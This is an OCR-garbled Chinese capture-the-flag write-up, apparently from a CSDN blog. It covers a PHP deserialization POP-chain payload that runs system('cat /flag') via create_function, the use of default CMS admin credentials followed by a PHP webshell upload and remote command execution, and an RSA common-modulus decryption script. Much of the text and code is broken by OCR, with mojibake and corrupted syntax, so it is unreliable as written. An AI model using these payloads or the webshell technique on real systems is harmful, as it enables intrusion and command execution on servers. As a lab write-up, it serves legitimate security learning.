PzHN' ), iLGeN : 023704 Oxdb® ,’ 5JTw’ ), thZTH :_0x270d( Oxdba’, po00 L eSshf - ( UMK U WWES LD
rn _0x21db06===_0x359d7a }, 050Nz’ : _0x370d( Oxdve',’ 3s6& ), PZFHY : 2
420c42(_0x20a444, 0x53efea) ), awbmw' :_0x270d( Oxdbt’, hkLU' ),  QFPNy Iunction I B Trad6730)
return

Pake' :_0x370d( 0x4c2’,"k42V' ),  qiJt] "push’, iAJad’ :"pos’, JoSrd' :function _0x240bSe(_0x372b43, 0x3£4b30, _0x453391)
300135 [_0x370dC Oxdcd’, "FIvC' 1], "wav' )) {var _0x30fcaB=this[_0x300135( 0x370d( 0x4c5", Trhd’ }1]] PP »
30tca8([_0x399135[_0x370aC 0xde? " #3]1")11) (0x2a0197=[_0x3ca024, 0x36647d[_0x328011]  ~=DIN @3tETanie » zhou

flag{134791e2-d93c-4d01-a71f-dcbe82d7fe08}

Web2-easypop



Vi, B2 AR E

<?php
error_reporting(0) ;
highlight file( FILE_):
$pwd=getcwd () ;

class func

{
public Smodl;
public $mod2:
public $key;
public function _ destruct()

{

unserialize ($§this—>key) () ;
$this—>mod2 = “welcome ".3$this—>modl;

}

class GetFlag
{ public S$code;
public 3action:
public function get_flag(){
$a=8this-raction:
$a(’’, $this->code):

}

il SDN @3tefanie ™ zho
unserialize ($_GET[0]); o eEEnE o

error_reporting(0);
highlight_file(_ FILE_);
$pwd=getcwd();
class func
{
public $modi;
public $mod2;
public $key;
public function _ destruct()

{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
b
)
class GetFlag
{ public $code;

public $action;

public function get_flag(){
$a=$this->action;
$a('', $this->code);

HHRAG, R B4 7 unserialize($this->key)().

S AREZE: HASRTFIIEHgetE RS HOMFFIETE, AR5 FIfunciIT i ek b 2 B0 & thkeyib 17 R F 546, B
PAFRATIE 75 B ikey N 7 5L 2K GetFlagH A F get_flag() /72, 7EIX J7ikH R ATTAT LA F create_functioni®: N AT AREZE AR
$kfflag.

{72 Gna] SE 414k 2 func i B 18 F 2R GetFlag # Higet flag() 7778 ?



RV TP AT DA B B0 1 5 RAE SE B4k 2R GetFlag i B % i F 26 GetFlag H fiiget_flag() ¥, Blarray[‘new
GetFlag’,'get_flag'l.
95 A B Zpayload

<?php
error_reporting(0);
$pwd=getcwd();
class func{

public $modi;

public $mod2;

public $key;

public function _ destruct()

{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;

class GetFlag{
public $code = ';}system("cat /flag");//';
public $action = 'create_function';
public function get flag(){
$a=$this->action;
$a('', $this->code);

}

$a = new func();
tb = new GetFlag();
$a->key = serialize(array($b, 'get_flag'));

echo serialize($a);

?>
BT A A Fpayload
<« C @ QO O localhost/phpworkspace/6.php 28

DxmeEsds @ FiFtiE (O =ARL @ RFEE

O:4:"func™:3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:126:"a:2:{i:0;0:7:"GetFlag":2:{s:4:"code";s:24:";}system("cat /flag");//";s:6:"action";s:15:"create function™;}i:1;5:8:"get flag™;}";

0:4:"func":3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:126:"a:2:{1:0;0:7:"GetFlag":2:{s:4:"code";s:24:"; }system("ca

t /flag");//";s:6:"action";s:15: " "create_function";}i1:1;s:8:"get_flag"; }";



Ki%payload3kEflag

« = C @ D B 111.749109:10115/20=0:4:" func™:3:(s:4: mod 17:N:s:4: " mod2":N:s: 3 key 5.1 26 a2 10:0:7:" GetFlag™:2:{s:4:"code™:s:24: " Jsysten B O
Cokmmriss @ WELE DO mARh O fonms
< ?php

error_reporting(0)
highlight_file(__FILE_):
Spwd=getcwd () ;

class  func

public $modl;
public S$Smod2;
public $key:
public function __destruct()

unserialize($this->key) () ;
§this—>mod2 = “welcome . $this—>modl;

class GetFlag
{ public Scode:

public $action;

public function get_flag(){
$a=$this—>action;
$al’", Sthis->code);

unserialize (3_GET[0]):

7 af17e170ebdefag0fd42c2d12af9cchs CSDMN @3tefanie * zhou
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Vi 1Al url

G mrcmsmaag

EiFCMSAS R
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— T | A for Windows (AT
ﬁj V3.0.0.1000

fanie * znou

BEFENY, RIZEHERemsEZER
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CSDN @3tefanie » zhou



FEJS ARG H & L AT BE B% 4index/admin

< C @
O xafErmss @ FFrtlE O =R O =5
if (data.code == 1) {
layer.close (loading) ;
layer.msg (data.msg, {
icon: 1,
time: 1000
} r
function () {
5(".dianzans") .html (zan) ;
s
} else |

layer.close (loading) ;
layer.msg (data.msg, {
icon: 2,

anim: &,
time: 1000
I
i
i
P
H)
/1 gti—e3ra™"
function bianjigi() {
var editor = new wangEditor('textarea');
editor.config.uploadImglrl = 1index.php/adminlupﬁpic.html';
editor.config.uploadImgFileName = 'FileName':;
editor.config.jsFilter = false;
editor.config.pasteFilter = false;
editor.config.menus = [
'bold",

'eraser’',
'forecoloxr',
'gquote',
'fontsize',
"y
'alignleft"',
'aligncenter',
'alignright',

"link',

'unlink',
limgl’
'insertcode',

1

editor.create();

& view-source:http://111.74.9.109:10761/public/js/form_ajaxjs?v=0.02

CSDN @3t

nie

zhou

FEH Rudh P, RAKAEEE S HE G KLBREN:

/index.php/admin-login-index.html

X httpy//111.74.9.109:10767/public X G BIFEIRT X

P 8 111.74.9.109:10761/index.php/admin

JEAERL @ =5

Eircms FaEE BEER

x

_+_
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CSDN @3iefanie » zhol

O 8 111.74.9.109:10761/index.php/admin-login-index.htm|

ik @ =R

S RIWH, RMEVEHEE S KK %

admin/88888888



HNEEERARE SRR MBS LA ER, BATEEEphpin b

B e RS - R

@ BN

HSEE

Praipaipeg.ilbmp, v swd, mioyavi, oy, mpegumpg, ogg.ogy, mon winy mipd, webm, mg 3, wingmid, rie zip L g, 72 brd, cab iso,doc, docods ds ppl, ppte pd Lt md xml, php

FRRS

ooz

FfE R AR E| EAE R, B bfe—REARSE

Gl - BN B4 TR EENE
EAFCMSEALA iR I

ETinR LT

HEINTHET HERERT BESTNE
*) BR E3E OF- *iF OF-5 2
2
Juploads/20211206/008¢57227128097068dec2aa834e 1243 php S
® EEE
CSDMN @3tefanie * zho!

RIFELIE, TREBARDNREY, = LE

echo “$_POST[1]"

ViFIARG M, AT dr<cat flag, 15ZFIflag

b332a%feddlcc745e3e7dTb 7683187

@ FEETE — http://111.74.2.109:10865/uploads/20211206/c06cac910b802243286b2152d 92899 php

O O==e Uesls DEgsE NEs (Jedmss O s T TEsins 58 0EEs
Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
& Load URL http://111.74.9.109:10865/uploads/20211206/c06cac910b802243a8602152d9128919 php
gg Split URL

Execute
|'—| Postdata [] Referer [ User Agent [J Cookies Clear All

1=cat /flag

Crypto
Crypto1-signin



FTIT B & — B base64 iy, B4 EHE1E LR M uh i &

ISR RNIE AR ERINA S KR o,

from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)

el = 667430104865289
e2 = 537409930523421
p = getPrime(512)

q = getPrime(512)
n=p*q

. ra . Y 2

BASE64/%2 | BASE64f5=

CSDMN @Stefanie * zhou

A ERSAN A

from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)

el = 667430104865289

e2 = 537409930523421
= getPrime(512)

q = getPrime(512)

n = p*q

cl = pow(m, el, n)
c2 = pow(m, e2, n)

print(f'cl = {c1}")
print(f'c2 = {c2}")
print(f'n = {n}")

cl = 65902678572727724179176496573968997182712063317082289120453094068199325419989688382177808529042322217887334
0050845047963972208048561672551764156902173482521260978091301952080206940262501940474605811650241783584343054953
64983830756552379335985399876528922076030595232679046941310786637260764992499375421464529

c2 = 85809403678250150153291471185999805870858123001273034212582847731825296891016810871397546134117012197599651
7294015909800200283828840685132017589264161922118219225936862324759678089640067860764601604286393531536583232081
19453055070199243295330522804974849330926501091430419775155670264306222962413289616957519

n = 930123799495966798740108365209724634381551759612832777435142038711143290080447355007264400124640291442048134
1390932238958596631342661148892729287431962806352600940514443660599638998597734028098346980341211945818504747525
3059636126555451557348169514975249710901899526974246139559730461540660990375034669042959

ZHEIERGE, SRR

Y

BEBRER: HxXm. EEnHEE, AHEHe. FXcAME, gedel,e2)==1tWLe1Me2HF. WFcommon_e =
gcd(e1,e2)=!1, Blel,e2 N E A, /545 R T EHFcommon eIk )T .

PS: ABHBHRMELE —F, elfMe2FR K, FiAmFHIANERTEFged(e1,e2)k 5



#coding:utf-8
#by :3tefani >zhou
#time:2021/12/8

from Crypto.Util.number import *
import gmpy2

Y
EABR: H3Xn. BEHntERE, AHELHe. BXcARE, ged(el,e2)==15tZelfe2 H )R
W common_e = gcd(el,e2)=!1, Blel,e2 ANE R, HJ5HI4LEREZEH common_efIk T
def egcd(a, b):
if a == 0:
return (b, 9, 1)
else:
g, Yy, X = egcd(b % a, a)
return (g, x - (b // a) * vy, y)

def decode():

n = 9301237994959667987401083652097246343815517596128327774351420387111432900804473550072644001246402914420481
3413909322389585966313426611488927292874319628063526009405144436605996389985977340280983469803412119458185047475
253059636126555451557348169514975249710901899526974246139559730461540660990375034669042959

cl = 659026785727277241791764965739689971827120633170822891204530940681993254199896883821778085290423222178873
3400508450479639722080485616725517641569021734825212609780913019520802069402625019404746058116502417835843430549
5364983830756552379335985399876528922076030595232679046941310786637260764992499375421464529

c2 = 858094036782501501532914711859998058708581230012730342125828477318252968910168108713975461341170121975996
5172940159098002002838288406851320175892641619221182192259368623247596780896400678607646016042863935315365832320
8119453055070199243295330522804974849330926501091430419775155670264306222962413289616957519

el = 667430104865289

e2 = 537409930523421

s = egcd(el, e2)

sl = s[1]

s2 = s[2]

if s1<0:

sl = - sl
cl = gmpy2.invert(cl, n)
elif s2<0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
if gmpy2.gcd(el,e2)==1:
print("el,e2HJR")
message = pow(cl, s1, n) * pow(c2, s2, n) % n
flag = long_to_bytes(message)
print(flag)
elif gmpy2.gcd(el,e2)!=1:
message = pow(cl, s1, n) * pow(c2, s2, n) % n
common_e = gmpy2.gcd(el, e2)
print("el,e2 AN EE, HALEH"+str(common_e))
flag = long_to_bytes((gmpy2.iroot(message, common_e)[0]))
print(flag)

if __name__ == '__main__":

decode()



run— F I, 15Fflag

env\Scripts\python.exe D:/pycharm/pycharprojec

9a-1lec-b784-00155d%al1603}"

flag{e6e5722e-4b9a-1lec-b784-00155d9a1603

[(HEAZE, deREME mRENK. mRTREE, RERTFH. ]
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